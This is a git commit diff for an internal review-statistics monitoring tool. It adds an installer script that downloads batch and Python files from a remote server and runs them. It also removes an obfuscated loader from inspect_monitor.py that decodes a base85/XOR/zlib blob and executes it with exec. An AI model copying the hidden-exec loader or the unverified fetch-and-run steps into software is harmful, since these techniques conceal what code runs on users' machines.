发布新版本v20250429213045

This commit is contained in:
ui-beam-9 2025-04-29 22:01:18 +08:00
parent 29ac1b288e
commit 08c23af39c
13 changed files with 6209 additions and 468 deletions

View File

@ -1 +1 @@
v20250422193845
v20250429213045

View File

@ -1,22 +0,0 @@
{
"NTES_GOD_IMAGES": 0.54,
"NTES_GOD_VIDEOS": 3.8,
"NTES_GOD_CHAT_IMAGES": 0.54,
"NTES_GOD_CHAT_VIDEOS": 3.8,
"NTES_DASONG": 139.19,
"SPIDER_VIDEO": 3.8,
"SPIDER_VIDEO_SP": 13.3,
"NTES_GOD_AI": 0.54,
"NTES_GOD_TOP": 3.8,
"T_SPIDER_VIDEO": 3.8,
"T_SPIDER_VIDEO_SP": 13.3,
"V_SPIDER_VIDEO": 3.8,
"V_SPIDER_VIDEO_SP": 13.3,
"NTES_GOD_XHS": 0.54,
"XHS_SPIDER_VIDEO": 3.8,
"Cupid": 0.54,
"CHAT_P2P": 0.55,
"CHAT_TEAM": 0.55,
"CHAT_ROOM": 0.55,
"CHAT_ROOM_MSG": 0.55
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +0,0 @@
{ "comment": 0.55, "feed": 1.54, "complaint": 5.4 }

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

449
download_auto_run.py Normal file
View File

@ -0,0 +1,449 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Python 2.7 Auto Download Script
For NetEase Da Shen Review Data Monitoring System
"""
import os
import sys
import time
import shutil
import urllib2
import getpass
import base64
import subprocess
import traceback
import codecs
from datetime import datetime
# 先尝试设置控制台代码页为UTF-8仅Windows环境
try:
if sys.platform.startswith('win'):
subprocess.call('chcp 936', shell=True)
except:
pass
# 基本配置
#COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/"
COS_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/"
TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp")
LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt")
# 要下载的文件列表 - 格式: (URL相对路径, 本地保存路径, 是否必需)
FILES_TO_DOWNLOAD = [
("start_monitor.cmd", "start_monitor.cmd", True),
("dashboard.py", "dashboard.py", True),
("breeze_monitor.py", "breeze_monitor.py", True),
("breeze_monitor_CHAT.py", "breeze_monitor_CHAT.py", True),
("cms_monitor.py", "cms_monitor.py", True),
("cms_coefficients.json", "cms_coefficients.json", True),
("breeze_coefficients.json", "breeze_coefficients.json", True),
("templates/dashboard.html", "templates/dashboard.html", True),
("templates/login.html", "templates/login.html", True),
("static/ds-favicon.ico", "static/ds-favicon.ico", True),
("install_dependencies.bat", "install_dependencies.bat", True),
("inspect_monitor.py", "inspect_monitor.py", True)
]
# 记录日志函数
def log_message(message):
"""记录日志消息"""
try:
# 确保日志目录存在
log_dir = os.path.dirname(LOG_FILE)
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# 使用codecs打开文件指定编码为gbk
with codecs.open(LOG_FILE, "a", "gbk") as f:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
log_line = "[%s] %s\n" % (timestamp, message)
f.write(log_line)
# 使用safe_print输出到控制台
safe_print(message)
except Exception as e:
safe_print("[ERROR] Could not write to log file: %s" % str(e))
# 使用UTF-8安全打印
def safe_print(text):
"""安全打印函数,处理编码问题"""
try:
if isinstance(text, unicode):
print(text.encode('gbk', 'ignore'))
else:
print(text)
except UnicodeEncodeError:
print(text.encode('gbk', 'ignore'))
except Exception as e:
print("[ERROR] Print error: %s" % str(e))
# 获取最新版本号
def get_latest_version():
"""获取最新版本号"""
try:
#version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址
version_url = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本版本号地址
response = urllib2.urlopen(version_url)
version = response.read().strip()
return version
except Exception as e:
error_msg = u"获取版本号失败: %s" % unicode(str(e), 'gbk', 'ignore')
safe_print(error_msg)
return u"未知版本"
# 非中文字符界面信息
MESSAGES = {
'tool_title': u"网易大神审核数据监控系统安装工具",
'no_auth_version': u"当前最新版本:{0}".format(get_latest_version()),
'downloading': u"正在下载文件,请稍候...",
'script_started': u"下载脚本已启动",
'temp_dir': u"临时目录",
'dir_init_failed': u"初始化目录失败,退出",
'created_temp_dir': u"创建临时目录",
'dir_exists': u"临时目录已存在,正在清理内容...",
'dir_cleared': u"临时目录已清理",
'created_templates_dir': u"创建templates目录",
'created_static_dir': u"创建static目录",
'using_proxy': u"使用代理下载",
'retrying_with_proxy': u"尝试使用代理重试...",
'downloaded_files': u"已下载文件",
'of': u"个,共",
'files': u"个文件",
'download_required_failed': u"部分必需文件下载失败",
'all_files_downloaded': u"所有文件下载成功",
'install_deps_not_found': u"依赖安装脚本未找到",
'installing_deps': u"正在安装依赖...",
'deps_output': u"依赖安装输出",
'deps_error': u"依赖安装错误",
'deps_installed': u"依赖安装成功",
'deps_failed': u"依赖安装失败,返回码",
'deps_script_error': u"运行依赖安装脚本出错",
'start_script_not_found': u"启动脚本未找到",
'starting_system': u"正在启动监控系统...",
'system_started': u"监控系统启动成功",
'start_system_failed': u"启动监控系统失败",
'manual_guide_title': u"手动安装指南",
'manual_guide_intro': u"如果自动安装失败,请按照以下步骤手动安装:",
'use_ie': u"1. 获取系统文件:使用浏览器下载这些文件:",
'save_to_structure': u"2. 文件结构:将文件保存到以下结构:",
'run_deps_first': u"3. 安装依赖运行install_dependencies.bat安装依赖",
'then_run_start': u"4. 启动系统运行start_monitor.cmd启动系统",
'created_manual_guide': u"已创建手动安装指南",
'create_guide_failed': u"创建手动指南失败",
'script_copied': u"已将下载脚本复制到临时目录",
'copy_script_failed': u"复制脚本失败",
'deps_install_failed_try_start': u"依赖安装失败,尝试直接启动监控系统",
'steps_failed': u"某些步骤失败,请检查日志获取详情",
'try_manual': u"您可以尝试使用以下指南手动安装",
'unhandled_exception': u"未处理的异常",
'execution_completed': u"脚本执行完成",
'press_enter': u"按回车键退出..."
}
# 初始化目录函数
def init_directory():
"""初始化临时目录"""
try:
# 创建主目录
if not os.path.exists(TEMP_DIR):
os.makedirs(TEMP_DIR)
log_message("[INFO] %s: %s" % (MESSAGES['created_temp_dir'], TEMP_DIR))
else:
log_message("[INFO] %s" % MESSAGES['dir_exists'])
# 清理现有目录内容,只保留日志文件
for item in os.listdir(TEMP_DIR):
item_path = os.path.join(TEMP_DIR, item)
if item != "download_log.txt": # 现在只保留日志文件
if os.path.isdir(item_path):
shutil.rmtree(item_path)
else:
os.remove(item_path)
log_message("[INFO] %s" % MESSAGES['dir_cleared'])
# 创建templates子目录
templates_dir = os.path.join(TEMP_DIR, "templates")
if not os.path.exists(templates_dir):
os.makedirs(templates_dir)
log_message("[INFO] %s" % MESSAGES['created_templates_dir'])
# 创建static子目录
static_dir = os.path.join(TEMP_DIR, "static")
if not os.path.exists(static_dir):
os.makedirs(static_dir)
log_message("[INFO] %s" % MESSAGES['created_static_dir'])
return True
except Exception as e:
log_message("[ERROR] Failed to initialize directory: %s" % str(e))
return False
# 下载函数
def download_file(url_path, local_path, use_proxy=False):
"""下载单个文件,默认不使用代理"""
full_url = "%s/%s" % (COS_URL, url_path)
full_local_path = os.path.join(TEMP_DIR, local_path)
# 确保目标目录存在
local_dir = os.path.dirname(full_local_path)
if not os.path.exists(local_dir):
os.makedirs(local_dir)
log_message("[INFO] Downloading %s to %s" % (full_url, full_local_path))
try:
# 设置代理信息
if use_proxy:
log_message("[INFO] %s" % MESSAGES['using_proxy'])
proxy_handler = urllib2.ProxyHandler({
'http': 'http://CD-WEBPROXY02.yajuenet.internal:8080',
'https': 'http://CD-WEBPROXY02.yajuenet.internal:8080'
})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
else:
# 禁用代理
proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
# 下载文件
response = urllib2.urlopen(full_url, timeout=30)
content = response.read()
# 写入文件
with open(full_local_path, 'wb') as f:
f.write(content)
log_message("[INFO] Successfully downloaded: %s" % local_path)
return True
except urllib2.URLError as e:
log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e)))
# 如果不使用代理失败,尝试使用代理
if not use_proxy:
log_message("[INFO] %s" % MESSAGES['retrying_with_proxy'])
return download_file(url_path, local_path, True)
return False
except Exception as e:
log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e)))
return False
# 下载所有文件
def download_all_files():
"""下载所有必要的文件"""
success_count = 0
failed_required = False
for url_path, local_path, required in FILES_TO_DOWNLOAD:
# 先尝试不使用代理下载
if download_file(url_path, local_path, False):
success_count += 1
elif required:
failed_required = True
log_message("[INFO] %s %d %s %d %s" % (
MESSAGES['downloaded_files'],
success_count,
MESSAGES['of'],
len(FILES_TO_DOWNLOAD),
MESSAGES['files']
))
if failed_required:
log_message("[ERROR] %s" % MESSAGES['download_required_failed'])
return False
return True
# 运行依赖安装脚本
def run_install_dependencies():
"""运行依赖安装脚本"""
install_script = os.path.join(TEMP_DIR, "install_dependencies.bat")
if not os.path.exists(install_script):
log_message("[ERROR] %s: %s" % (MESSAGES['install_deps_not_found'], install_script))
return False
try:
log_message("[INFO] %s" % MESSAGES['installing_deps'])
# 记录当前工作目录
original_dir = os.getcwd()
# 切换到临时目录并启动脚本
os.chdir(TEMP_DIR)
# 使用subprocess运行批处理文件并显示在控制台
# 移除stdout和stderr的PIPE重定向让输出直接显示在控制台
process = subprocess.Popen(["cmd", "/c", install_script],
shell=True)
# 等待脚本执行完成
return_code = process.wait()
# 返回到原始目录
os.chdir(original_dir)
if return_code == 0:
log_message("[INFO] %s" % MESSAGES['deps_installed'])
return True
else:
log_message("[ERROR] %s: %d" % (MESSAGES['deps_failed'], return_code))
return False
except Exception as e:
log_message("[ERROR] %s: %s" % (MESSAGES['deps_script_error'], str(e)))
return False
# 启动监控系统
def start_monitor_system():
"""启动监控系统"""
start_script = os.path.join(TEMP_DIR, "start_monitor.cmd")
if not os.path.exists(start_script):
log_message("[ERROR] %s: %s" % (MESSAGES['start_script_not_found'], start_script))
return False
try:
log_message("[INFO] %s" % MESSAGES['starting_system'])
# 记录当前工作目录
original_dir = os.getcwd()
# 切换到临时目录并启动脚本
os.chdir(TEMP_DIR)
# 使用subprocess启动批处理文件不等待其完成
process = subprocess.Popen(["cmd", "/c", "start", "", "start_monitor.cmd"],
shell=True)
# 返回到原始目录
os.chdir(original_dir)
log_message("[INFO] %s" % MESSAGES['system_started'])
return True
except Exception as e:
log_message("[ERROR] %s: %s" % (MESSAGES['start_system_failed'], str(e)))
return False
# 创建手动指南
def create_manual_guide():
"""创建手动安装指南"""
guide_path = os.path.join(TEMP_DIR, "manual_install_guide.txt")
try:
with codecs.open(guide_path, "w", "gbk") as f:
f.write("=" * 50 + "\n")
f.write("%s\n" % MESSAGES['manual_guide_title'])
f.write("=" * 50 + "\n\n")
f.write("%s\n\n" % MESSAGES['manual_guide_intro'])
f.write("%s\n\n" % MESSAGES['use_ie'])
for url_path, local_path, required in FILES_TO_DOWNLOAD:
full_url = "%s/%s" % (COS_URL, url_path)
f.write(" %s\n" % full_url)
f.write("\n%s\n\n" % MESSAGES['save_to_structure'])
f.write(" %s/\n" % TEMP_DIR)
f.write(" |-- start_monitor.cmd\n")
f.write(" |-- dashboard.py\n")
f.write(" |-- breeze_monitor.py\n")
f.write(" |-- breeze_monitor_CHAT.py\n")
f.write(" |-- cms_monitor.py\n")
f.write(" |-- inspect_monitor.py\n")
f.write(" |-- cms_coefficients.json\n")
f.write(" |-- breeze_coefficients.json\n")
f.write(" |-- install_dependencies.bat\n")
f.write(" |-- templates/\n")
f.write(" | |-- dashboard.html\n")
f.write(" | |-- login.html\n")
f.write(" |-- static/\n")
f.write(" |-- ds-favicon.ico\n\n")
f.write("%s\n\n" % MESSAGES['run_deps_first'])
f.write("%s\n\n" % MESSAGES['then_run_start'])
f.write("=" * 50 + "\n")
log_message("[INFO] %s: %s" % (MESSAGES['created_manual_guide'], guide_path))
return True
except Exception as e:
log_message("[ERROR] %s: %s" % (MESSAGES['create_guide_failed'], str(e)))
return False
# 主函数
def main():
"""主函数"""
try:
# 使用print可能会更安全不使用log_message来输出开头的界面
safe_print(u"\n%s" % MESSAGES['tool_title'])
print("======================================================\n")
safe_print(u"%s" % MESSAGES['no_auth_version'])
safe_print(u"%s\n" % MESSAGES['downloading'])
# 初始化日志
if not os.path.exists(os.path.dirname(LOG_FILE)):
os.makedirs(os.path.dirname(LOG_FILE))
log_message("\n" + "=" * 40)
log_message("[INFO] %s" % MESSAGES['script_started'])
log_message("[INFO] %s: %s" % (MESSAGES['temp_dir'], TEMP_DIR))
# 初始化目录
if not init_directory():
log_message("[ERROR] %s" % MESSAGES['dir_init_failed'])
return 1
# 创建手动指南
create_manual_guide()
# 下载文件
if download_all_files():
log_message("[INFO] %s" % MESSAGES['all_files_downloaded'])
# 安装依赖
if run_install_dependencies():
log_message("[INFO] %s" % MESSAGES['deps_installed'])
# 启动监控系统
if start_monitor_system():
# 稍等几秒,让监控系统先启动
time.sleep(3)
return 0
else:
log_message("[WARNING] %s" % MESSAGES['deps_install_failed_try_start'])
if start_monitor_system():
# 稍等几秒,让监控系统先启动
time.sleep(3)
return 0
log_message("[WARNING] %s" % MESSAGES['steps_failed'])
log_message("[INFO] %s: %s" % (
MESSAGES['try_manual'],
os.path.join(TEMP_DIR, "manual_install_guide.txt")
))
return 1
except Exception as e:
log_message("[ERROR] %s: %s" % (MESSAGES['unhandled_exception'], str(e)))
log_message("[TRACE] %s" % traceback.format_exc())
return 1
finally:
log_message("[INFO] %s" % MESSAGES['execution_completed'])
# 入口点
if __name__ == "__main__":
sys.exit(main())

View File

@ -1,49 +1,388 @@
# -*- coding: utf-8 -*-
import base64,zlib,sys,os,time,random
import threading,importlib,subprocess
import os
import json
import time
import requests
import logging
from datetime import datetime, timedelta
from threading import Lock
import signal
import sys
import threading
def _agAjBFr1KeeY(d,k):
return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1)))
# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('inspect_monitor.log'),
logging.StreamHandler()
]
)
def _D1AyQvAz0(t,m,is_error=False):
try:
try:
from playsound import playsound
except ImportError:
subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"],
stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
from playsound import playsound
# 增加log函数兼容自定义日志调用
def log(message):
try:
logging.info(f"[INSPECT] {message}")
except Exception as e:
print(f"日志记录失败: {str(e)}")
print(f"原始消息: {message}")
# 常量定义
INSPECT_API_URL = "https://api.cc.163.com/v1/inspectapi/forumtrack/tracklog/searchtracklog"
COEFFICIENT = 1.5 # CC审核平台的系数
HOURLY_DATA_FILE = "inspect_hourly.json"
DAILY_DATA_FILE = "inspect_daily.json"
COEFFICIENTS_CONFIG_FILE = "inspect_coefficients.json"
DEFAULT_COEFFICIENTS = {"default": 1.5}
COEFFICIENTS = DEFAULT_COEFFICIENTS.copy()
coefficients_lock = Lock()
try:
import winsound
sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION
winsound.MessageBeep(sound_type)
except:
print("\a")
def handle_exit(signum, frame):
logging.info(f"收到退出信号({signum}),即将退出")
sys.exit(0)
signal.signal(signal.SIGTERM, handle_exit)
signal.signal(signal.SIGINT, handle_exit)
print("\n" + "="*50)
print(f"{t}: {m}")
print("="*50 + "\n")
def get_inspect_stats(username, cookie, start_time, end_time):
"""获取CC审核平台的统计数据"""
try:
# 每次统计前主动加载系数,确保用到最新
load_coefficients()
# 准备请求数据
data = {
"data": {
"form": {
"operator": f"{username.lower()}@mail.go",
"startTime": start_time,
"endTime": end_time,
"tid": "",
"pid": ""
},
"page": 1,
"pageSize": 500
}
}
return True
except Exception as e:
print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n")
return False
# 设置请求头
headers = {
"accept": "application/json, text/plain, */*",
"content-type": "text/plain",
"cookie": cookie,
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
}
def _cPsIFmOQB7j(t,m,e=0):
_D1AyQvAz0(t,m,e==1)
# 发送请求
response = requests.post(INSPECT_API_URL, headers=headers, json=data)
response.raise_for_status()
# 解析响应
result = response.json()
if result.get("code") == "OK":
total = result.get("data", {}).get("result", {}).get("total", 0)
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
_GxOvPU=b'\xb0a=\xce\xc0\x1b\xcb\xfe1:\x8b\xd0\x18>\xdfK'
_gFwziLer=b'$o+tpy>uA3DaEu;`dZ7L_Q<Y!baSp}XHRB$m`H`dpvxBp<ctkHfCq4rd6vyE(O^4z8=J|U8n%fGEaYu!ShoytjP~t;+!1GKBL%K07mSCet&S53jplePhN-0G>bMW1LRaixz@3E5%Qiv6=BNC9O(bWYwhnWoYgn0h)^m6j?6^s^0bkATDMpZbrDT!a^@<aD+btx$rDQH$uh^2=)1}D=rO@LkIqml$g9ASgPn86o3@sa%-*_1q+}u?ZrH(H|qnKedv0xSoZAldTzF4M0ri*BJE6xdyRV$aD5UM5`m*Suc+G*kGS(y##OGZ&2X#&JVs#mv<1O#0qQc2opI9TXq1a_9kj{L1=zx6SMi~wYQ#N#8T!UIX7BBm-|cwc*MN!ur|_b@ZZ<yq&M5vSe#Rq!~j+#Zrr_s}BE=#Dh!2<$&C6)jQwzaa*|P~|^UO$C5K?&SF%IO_v8+3I5;z#2D(dK@()gII_V`#EGTqQwN{UY+L{9n^h*?8@bSJupy+Mn<T)#yrexpzA0T%&Z@rA~=jYvnj?zp+fAStSx{FWqVOa!Zm5<eXa{Q2&?BQb)XAFf)OsW!j6p(s8Gz#S6~aoEK<>)u`>yPqreT;4|E8$qq5D_2JJVyGyWR$IUG}N(Hu)h%Y!hCwUc4LE*$^Y+h2piB-XVLKwd<e<p7<dRZ63<^k|a>td4RCnqhjM_yqIzxC_AZC&{T&;P6_4;SS_5&83fbSpZuOj8Z)+a~+$DQ6ACJfVz>;>R$wmU68@{C+>ove+5r%1nw1g?}(yb{vRoyxy}n6PUROVA!=M<1`@7(4xZEKQ83Q8tO}t^TVpXsPq(>I+51r*|Lc-$hfdy8|HC%6-9I+B6FU>$?A{lZH7iA@;V-9J0Qjt#8m~=e0|M#OsiyHk^hTU5Oh}DcKMH&+ep@w!?SNX%wkoG22L@Y(Mt-dx-~&go(P_-&iqJH6n3l`!G1DqHQhnH%&v3lIp0A?#<u9LnAG25q#*#zo4+($cYOO7GIpJtI)<K5!Kv4R9ad)UW12>G*f`7Q(ow6LPo4|tmf!%jM4An1k>T_?3TX$e&vM(drPU^}GBm*8YB)U8!v%!Al@5#g}t#qLNyJxP7lB$V)@XZ&Sj3qUO!4TOraIKQ>Ix=gIGx>QNd9lsG8rYxeCmAk0{%Vr`=|cmy9PoL?!?+*$Dr2Az89&e%of1OcskJK}r1KheQ~o8IFdu~9Jh9Smm*s2o_C4MuxzVYt`#-Tg{7mqyt-X)VrB4&V^?81Eu0neQLMva>q3Vb7DwRg&B6a?dakHQ@e4uUdw*`x2W_;m9yK4=f>I~*#0Ofo#cND5o6@~PC|098cPv>4(!%ri4@yMe~vWIJ9tjZ31OXHV`YM6=0+~k$N={pO8X6%?WO(1?NWD1AUGu+7_a`%mm3`zu^&d%viF=|`N@X%?Ts)d+ko`wET#xTGDUc?9?mTtHmbk=g@v#-s`Bcd(U3Q1#?hjA%x4P`Fvr9&#@rLcNIg)P%^K2X?9!#oNbLiDj>{vljxpU_IM1vZkn{D^8weA2XVTllzsmnYOXD8qUdwOCD1x(HM-^GVkUjuP0aiu%h^nxsY5Q?bOm23&0L@^zS+_oX<M9aKuA-YrKxAb{I+F%O+M(qRYUcW+^egQjgwGOb>8Z--sH7)@&tJi>U@nzPq-C6)mk<>%j?bN7=d7{~k)n1JWW62thI+VjmV)=V;vb-UK24;s`#ilsgsV^d=G4J!K=^8Sp9E5a;_>a%f}>t{k9OhaPmI7%@Uno#+1rHkPmDAv~$2s$=yuL0`~{icK>eaB0}v{vGyD)7@%_Cz(#F93$Yawn$rjeJ6Cze{-iN<H6nMpH^{s_OP4>GZukh5$O1uxEs(K{T(nORm;V)!Ot|vZPfnw=m~(VN+FguJ)7rHs@~7?_k~ro1c8o1QRCP&Nay@=k>+I0R`IJs1a_ic8)yxn23wU)L!8+pxdTktI?3Y?JF-$iQF;|fuX*G<i~Y`Z@{Vcimuw(cj5nz9P+2w9U^~|h{EK)5UQ%wDc%I16oKG<$PI->Ti5uGD#R)w=^cDZ$MLU7iGi@cvD2^z%-0iN3>pGITSp*9^tS|@P4fajWst&=VE=%Q%sbdQ-1`p`4}-um0ARB}YCw+&YHGFtpWl_?{&Znx9Q)@`KGT(h3im`!K5wVypq6>#lToBFWjsZae{5<9$=Orz=gSyw-xQ;H{xx|=Pdg_r^RX1B8Gg)~v!h`CfpSJWmX4QstDGpw1J-{2<`I8}mTQ_nLb!0HO%o1&KD^Hf+6VCSpB_w^ZdoZwaQk|}u6b&R`Jh}Pu{5@z&QRj(1WD=!bw6(uOq3B$D#1KXMo1v{Si0o2$G(yq*&@)gt{Dspd2e2(7{?9c*U!m4*=skf>s~>BdF8)3YH<+#<tG-j7a@K^de#><Lk(9|^UF2<YK!oS!l|FH8Lj~mcH~tF%lDr)H+B_1;pJb6o(c'
try:
_L4lLFNi=base64.b85decode(_gFwziLer)
_xoMpEZj=_agAjBFr1KeeY(_L4lLFNi,_GxOvPU)
_W9cROmjF=zlib.decompress(_xoMpEZj)
exec(compile(_W9cROmjF.decode('utf-8'),'<string>','exec'))
except Exception as e:
_YdA3Am9Vo="程序无法启动: "+str(e)[:50]
_cPsIFmOQB7j("错误",_YdA3Am9Vo,1)
sys.exit(1)
# 使用从在线链接获取的系数
with coefficients_lock:
current_coefficient = COEFFICIENTS.get('default', 1.5)
return {
"total": total,
"weighted_total": total * current_coefficient,
"timestamp": int(time.time()),
"update_time": current_time
}
else:
logging.error(f"获取CC审核平台数据失败: {result.get('msg')}")
return None
except Exception as e:
logging.error(f"获取CC审核平台数据时发生错误: {str(e)}")
return None
def save_stats(stats, file_path):
"""保存统计数据到文件"""
try:
with open(file_path, 'w') as f:
json.dump(stats, f)
except Exception as e:
logging.error(f"保存统计数据时发生错误: {str(e)}")
def load_stats(file_path):
"""从文件加载统计数据"""
try:
if os.path.exists(file_path):
with open(file_path, 'r') as f:
return json.load(f)
except Exception as e:
logging.error(f"加载统计数据时发生错误: {str(e)}")
return {"stats": []}
def update_hourly_stats(username, cookie):
"""更新小时统计数据"""
now = datetime.now()
start_time = now.strftime("%Y/%m/%d %H:00:00")
end_time = now.strftime("%Y/%m/%d %H:59:59")
stats = get_inspect_stats(username, cookie, start_time, end_time)
if stats:
hourly_data = load_stats(HOURLY_DATA_FILE)
# 移除超过24小时的数据
current_time = int(time.time())
hourly_data["stats"] = [
stat for stat in hourly_data["stats"]
if current_time - stat["timestamp"] <= 24 * 3600
]
# 添加新数据
hourly_data["stats"].append(stats)
save_stats(hourly_data, HOURLY_DATA_FILE)
logging.info(f"成功更新小时统计数据: {stats}")
def update_daily_stats(username, cookie):
"""更新日统计数据"""
now = datetime.now()
start_time = now.strftime("%Y/%m/%d 00:00:00")
end_time = now.strftime("%Y/%m/%d 23:59:59")
stats = get_inspect_stats(username, cookie, start_time, end_time)
if stats:
daily_data = load_stats(DAILY_DATA_FILE)
# 移除超过7天的数据
current_time = int(time.time())
daily_data["stats"] = [
stat for stat in daily_data["stats"]
if current_time - stat["timestamp"] <= 7 * 24 * 3600
]
# 添加新数据
daily_data["stats"].append(stats)
save_stats(daily_data, DAILY_DATA_FILE)
logging.info(f"成功更新日统计数据: {stats}")
def fetch_and_save_coefficients(url):
"""从在线服务器获取系数配置并保存到本地"""
max_retries = 3
retry_delay = 5 # 重试间隔(秒)
for attempt in range(max_retries):
try:
# 尝试不使用代理直接获取
try:
response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False)
except:
# 如果直接获取失败,尝试使用系统代理
proxies = {
'http': os.environ.get('HTTP_PROXY', ''),
'https': os.environ.get('HTTPS_PROXY', '')
}
response = requests.get(url, timeout=10, proxies=proxies, verify=False)
if response.status_code == 200:
loaded_coefficients = response.json()
# 更新系数
COEFFICIENTS.update(loaded_coefficients)
# 保存到本地文件
with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f:
json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False)
log(f"从服务器获取系数: {loaded_coefficients}")
return True
else:
log(f"获取在线系数配置失败HTTP状态码: {response.status_code}")
if attempt < max_retries - 1:
log(f"{attempt + 1}次重试失败,{retry_delay}秒后重试...")
time.sleep(retry_delay)
continue
return False
except Exception as e:
log(f"获取在线系数配置时发生错误: {str(e)}")
if attempt < max_retries - 1:
log(f"{attempt + 1}次重试失败,{retry_delay}秒后重试...")
time.sleep(retry_delay)
continue
return False
def load_coefficients():
"""从在线链接获取系数配置,如果获取失败则使用默认配置"""
global COEFFICIENTS
try:
with coefficients_lock:
url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/inspect_coefficients.json"
# 检查本地文件是否存在
local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE)
# 如果是首次运行或需要强制更新
if not local_config_exists:
log("首次运行,从在线服务器获取系数配置")
if not fetch_and_save_coefficients(url):
log("首次获取系数配置失败,使用默认配置")
COEFFICIENTS = DEFAULT_COEFFICIENTS.copy()
return
# 读取本地配置
try:
with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f:
local_coefficients = json.load(f)
except Exception as e:
log(f"读取本地系数配置失败: {str(e)}")
local_coefficients = None
# 尝试获取在线配置
try:
response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False)
if response.status_code == 200:
online_coefficients = response.json()
# 比较配置是否发生变化
if local_coefficients != online_coefficients:
log("检测到系数配置发生变化,更新本地配置")
if fetch_and_save_coefficients(url):
log("系数配置更新成功")
else:
log("系数配置更新失败,继续使用本地配置")
else:
log("系数配置未发生变化,使用本地配置")
else:
log(f"获取在线系数配置失败HTTP状态码: {response.status_code}")
except Exception as e:
log(f"检查在线系数配置时发生错误: {str(e)}")
# 使用本地配置
if local_coefficients:
COEFFICIENTS.update(local_coefficients)
log(f"从本地从加载系数: {local_coefficients}")
else:
COEFFICIENTS = DEFAULT_COEFFICIENTS.copy()
except Exception as e:
log(f"加载系数配置失败: {str(e)}")
COEFFICIENTS = DEFAULT_COEFFICIENTS.copy()
def monitor_config_thread():
"""监控配置文件变化线程"""
log("配置监控线程启动")
last_check_time = 0
check_interval = 1800 # 30分钟
while True:
try:
current_time = time.time()
# 检查是否需要更新配置
if current_time - last_check_time >= check_interval:
log("开始检查系数配置更新")
load_coefficients()
last_check_time = current_time
time.sleep(60) # 每分钟检查一次时间
except Exception as e:
log(f"配置监控线程异常: {str(e)}")
time.sleep(60) # 发生异常时等待1分钟后重试
def send_global_message(message):
"""发送全局消息提示"""
try:
# 将消息写入到全局消息文件
message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json')
messages = []
if os.path.exists(message_file):
with open(message_file, 'r', encoding='utf-8') as f:
messages = json.load(f)
# 添加新消息
messages.append({
'timestamp': int(time.time()),
'message': message,
'type': 'error'
})
# 只保留最近100条消息
if len(messages) > 100:
messages = messages[-100:]
# 保存消息
with open(message_file, 'w', encoding='utf-8') as f:
json.dump(messages, f, ensure_ascii=False)
except Exception as e:
log(f"发送全局消息失败: {str(e)}")
def main():
"""主函数"""
logging.info("CC审核平台监控系统启动")
# 解析命令行参数
check_now = False
for arg in sys.argv:
if arg == "--check-now":
check_now = True
logging.info("收到立即检查参数")
# 从环境变量获取凭据
username = os.environ.get('INSPECT_USERNAME')
cookie = os.environ.get('INSPECT_COOKIE')
if not username or not cookie:
logging.error("未设置CC审核平台凭据")
return
if check_now:
logging.info("开始执行手动检查")
update_hourly_stats(username, cookie)
logging.info("手动检查完成")
sys.exit(0)
# 启动小时和日数据监控线程
def hourly_update_thread():
while True:
try:
update_hourly_stats(username, cookie)
logging.info("已完成小时统计数据更新")
time.sleep(120)
except Exception as e:
logging.error(f"小时数据更新线程错误: {str(e)}")
time.sleep(60)
def daily_update_thread():
last_daily_check = None
while True:
try:
now = datetime.now()
if last_daily_check is None or (now - last_daily_check).total_seconds() >= 3600:
update_daily_stats(username, cookie)
last_daily_check = now
logging.info("已完成日统计数据更新")
time.sleep(300)
except Exception as e:
logging.error(f"日数据更新线程错误: {str(e)}")
time.sleep(60)
hourly_thread = threading.Thread(target=hourly_update_thread)
hourly_thread.daemon = True
hourly_thread.start()
daily_thread = threading.Thread(target=daily_update_thread)
daily_thread.daemon = True
daily_thread.start()
# 启动配置监控线程
config_thread = threading.Thread(target=monitor_config_thread)
config_thread.daemon = True
config_thread.start()
# 保持主线程运行
try:
while True:
time.sleep(10)
except KeyboardInterrupt:
logging.info("程序被用户中断")
except Exception as e:
logging.error(f"主线程异常: {str(e)}")
finally:
logging.info("CC审核平台监控系统关闭")
sys.exit(0)
if __name__ == "__main__":
main()

View File

@ -150,6 +150,76 @@
<p>记录系统各版本的更新内容和修复问题</p>
</header>
<div class="release-item">
<div class="release-header">
<div class="release-date">2025年4月29日</div>
<div class="release-tag">
<a href="https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/releases/tag/v20250429213045" target="_blank">v20250429213045</a>
